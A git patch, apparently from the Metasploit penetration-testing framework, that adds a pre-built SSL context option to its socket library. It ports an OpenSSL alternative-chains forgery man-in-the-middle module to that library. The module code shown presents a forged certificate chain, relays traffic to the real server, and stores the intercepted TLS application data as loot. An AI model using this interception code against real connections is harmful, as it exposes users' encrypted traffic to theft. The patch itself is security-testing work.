From 45b4334006932100e4c16093ddad3c18d9876db8 Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan_vazquez@rapid7.com>
Date: Fri, 24 Jul 2015 11:16:09 -0500
Subject: [PATCH] Use Rex::Socket::SslTcpServer

* Also add rex sockets managing
---
 lib/rex/socket/parameters.rb                  |  9 ++++
 lib/rex/socket/ssl_tcp_server.rb              | 10 +++-
 .../openssl_altchainsforgery_mitm_proxy.rb    | 49 +++++++++++++------
 3 files changed, 51 insertions(+), 17 deletions(-)

diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb
index 1866ba37cf..50c4924449 100644
--- a/lib/rex/socket/parameters.rb
+++ b/lib/rex/socket/parameters.rb
@@ -56,6 +56,7 @@ class Rex::Socket::Parameters
   # @option hash [Bool] 'Bool' Create a bare socket
   # @option hash [Bool] 'Server' Whether or not this should be a server
   # @option hash [Bool] 'SSL' Whether or not SSL should be used
+  # @option hash [OpenSSL::SSL::SSLContext] 'SSLContext' Use a pregenerated SSL Context
   # @option hash [String] 'SSLVersion' Specify Auto, SSL2, SSL3, or TLS1 (Auto is
   #   default)
   # @option hash [String] 'SSLCert' A file containing an SSL certificate (for
@@ -117,6 +118,10 @@ class Rex::Socket::Parameters
       self.ssl = false
     end
 
+    if hash['SSLContext']
+      self.sslctx = hash['SSLContext']
+    end
+
     supported_ssl_versions = ['Auto', 'SSL2', 'SSL23', 'TLS1', 'SSL3', :Auto, :SSLv2, :SSLv3, :SSLv23, :TLSv1]
     if (hash['SSLVersion'] and supported_ssl_versions.include? hash['SSLVersion'])
       self.ssl_version = hash['SSLVersion']
@@ -324,6 +329,10 @@ class Rex::Socket::Parameters
   # @return [Bool]
   attr_accessor :ssl
 
+  # Pre configured SSL Context to use
+  # @return [OpenSSL::SSL::SSLContext]
+  attr_accessor :sslctx
+
   # What version of SSL to use (Auto, SSL2, SSL3, SSL23, TLS1)
   # @return [String,Symbol]
   attr_accessor :ssl_version
diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb
index 742685d596..d064f1d99a 100644
--- a/lib/rex/socket/ssl_tcp_server.rb
+++ b/lib/rex/socket/ssl_tcp_server.rb
@@ -48,8 +48,14 @@ module Rex::Socket::SslTcpServer
   end
 
   def initsock(params = nil)
-    raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
-    self.sslctx  = makessl(params)
+    raise RuntimeError, 'No OpenSSL support' unless @@loaded_openssl
+
+    if params && params.sslctx && params.sslctx.kind_of?(OpenSSL::SSL::SSLContext)
+      self.sslctx = params.sslctx
+    else
+      self.sslctx  = makessl(params)
+    end
+
     super
   end
 
diff --git a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
index 07eee136f6..52ed960db9 100644
--- a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
+++ b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
@@ -67,6 +67,21 @@ class Metasploit3 < Msf::Auxiliary
       ], self.class)
   end
 
+  def cleanup
+    super
+    return unless @proxy
+
+    begin
+      @proxy.deref if @proxy.kind_of?(Rex::Service)
+      if @proxy.kind_of?(Rex::Socket)
+        @proxy.close
+        @proxy.stop
+      end
+      @proxy = nil
+    rescue ::Exception
+    end
+  end
+
   def run
     host = datastore['HOST']
     port = datastore['PORT']
@@ -132,17 +147,25 @@ class Metasploit3 < Msf::Auxiliary
     context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
     context.key = fake_key
 
-    tcp_server = TCPServer.new(local_host, local_port)
-    proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context)
-    print_status('Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]])
+    @proxy = Rex::Socket::SslTcpServer.create(
+      'LocalHost' => local_host,
+      'LocalPort' => local_port,
+      'SSLContext' => context,
+      'Context'   =>
+        {
+          'Msf'        => framework,
+          'MsfExploit' => self
+        })
+
+    print_status('Listening on %s:%d' % [local_host, local_port])
 
     thread_num = 0
 
     loop do
-      framework.threads.spawn("Thread #{thread_num += 1}", false, proxy.accept) do |client|
+      framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|
+        add_socket(client)
         application_data = ''
-
-        print_status('Accepted connection from %s:%d' % [client.addr[2], client.addr[1]])
+        print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])
 
         server = Rex::Socket::Tcp.create(
           'PeerHost' => host,
@@ -154,6 +177,7 @@ class Metasploit3 < Msf::Auxiliary
               'Msf'        => framework,
               'MsfExploit' => self
             })
+        add_socket(server)
 
         print_status('Connected to %s:%d' % [host, port])
 
@@ -162,20 +186,17 @@ class Metasploit3 < Msf::Auxiliary
             readable, _, _ = IO.select([client, server])
 
             readable.each do |r|
-              data = r.readpartial(4096)
+              data = r.get_once
               print_status('%d bytes received' % [data.bytesize])
 
               application_data << data
 
               case r
               when client
-                count = server.write(data)
-                server.flush
+                count = server.put(data)
                 print_status('%d bytes sent' % [count])
-
               when server
-                count = client.write(data)
-                client.flush
+                count = client.put(data)
                 print_status('%d bytes sent' % [count])
               end
             end
@@ -185,7 +206,7 @@ class Metasploit3 < Msf::Auxiliary
           path = store_loot(
             'tls.application_data',
             'application/octet-stream',
-            client.addr[2],
+            client.peerhost,
             application_data,
             'application_data',
             'TLS session application data'
@@ -203,8 +224,6 @@ class Metasploit3 < Msf::Auxiliary
         server.close
       end
     end
-
-    proxy.close
   end
 
 end